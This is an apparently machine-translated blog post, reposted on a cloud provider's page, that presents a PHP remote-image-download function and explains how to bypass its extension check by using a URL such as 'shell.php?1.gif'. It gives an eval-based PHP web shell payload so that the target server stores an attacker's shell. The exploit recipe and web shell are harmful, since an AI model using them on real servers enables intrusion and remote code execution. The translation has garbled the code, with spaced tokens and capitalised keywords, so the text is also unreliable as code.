A simple file extension verification bypass technique

Source: Internet
Author: User

The most effective and direct way to mine web applications for 0-Day is to start with file operation functions. I personally prefer to first read the upload code. This article provides a simple technique. Of course, the skills are not entirely personal originality. They are also thought of by learning other people's skills. The purpose of this article is to lay a foundation for your future mining process.
 
Function Code:
 
Function download ($ content, $ absurl = "", $ basehref = "", $ exts = "gif | jpg | jpeg | bmp | png ")
{
Global $ cfg;
$ String = stripslashes ($ content );
If (! Preg_match_all ("/(href | src) = ([\" | ']?) ([^ \ "'>] + \. (". $ Exts. ") \ 2/I", $ string, $ matches ))
{
Return $ content;
}
$ Remotefileurls = array ();
// Some names are omitted here ......
 
Unset ($ matches );
Unset ($ string );
$ Remotefileurls = array_unique ($ remotefileurls );
$ Filepath = date ("Y/md/", $ this-> dateline );
$ Imgdir = $ this-> imgdir. $ filepath;
Include_once (ROOT. "./core/dir. func. php ");
Dir_create ($ imgdir );
Foreach ($ remotefileurls as $ k => $ file)
{
$ Ext = fileext ($ file );
$ Salt = rand (1000,999 9 );
$ Filename = $ this-> dateline. $ salt. ".". $ ext;
$ Newfile = $ imgdir. $ filename;
If (@ copy ($ file, $ newfile ))
{
$ Oldpath [$ k] = $ k;
$ Newpath [$ k] = $ imgurl. $ filename;
@ Chmod ($ newfile, 511 );
}
// Some names are omitted here ......
}
Return str_replace ($ oldpath, $ newpath, $ content );
}
 
This is a function for Automatic Remote Image Upload. If an image address exists in the content submitted by the user, the remote address is automatically copied to the local device! Preg_match_all regular match (Red Code) is used to identify the image path in the content. Although there is extension verification, it is easy to bypass. We only need to change the shell address: http://www.bkjia.com/shell. php? 1.gif can be bypassed. mysite is your own website address. If you want to parse php under your website, the php content should be <? Echo '<? Eval ($ _ POST [cmd]);?> ';?> Otherwise, the content of the downloaded file is blank, and the copy access to the remote file is the same as that of IE, And the parsed content is obtained after the access.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.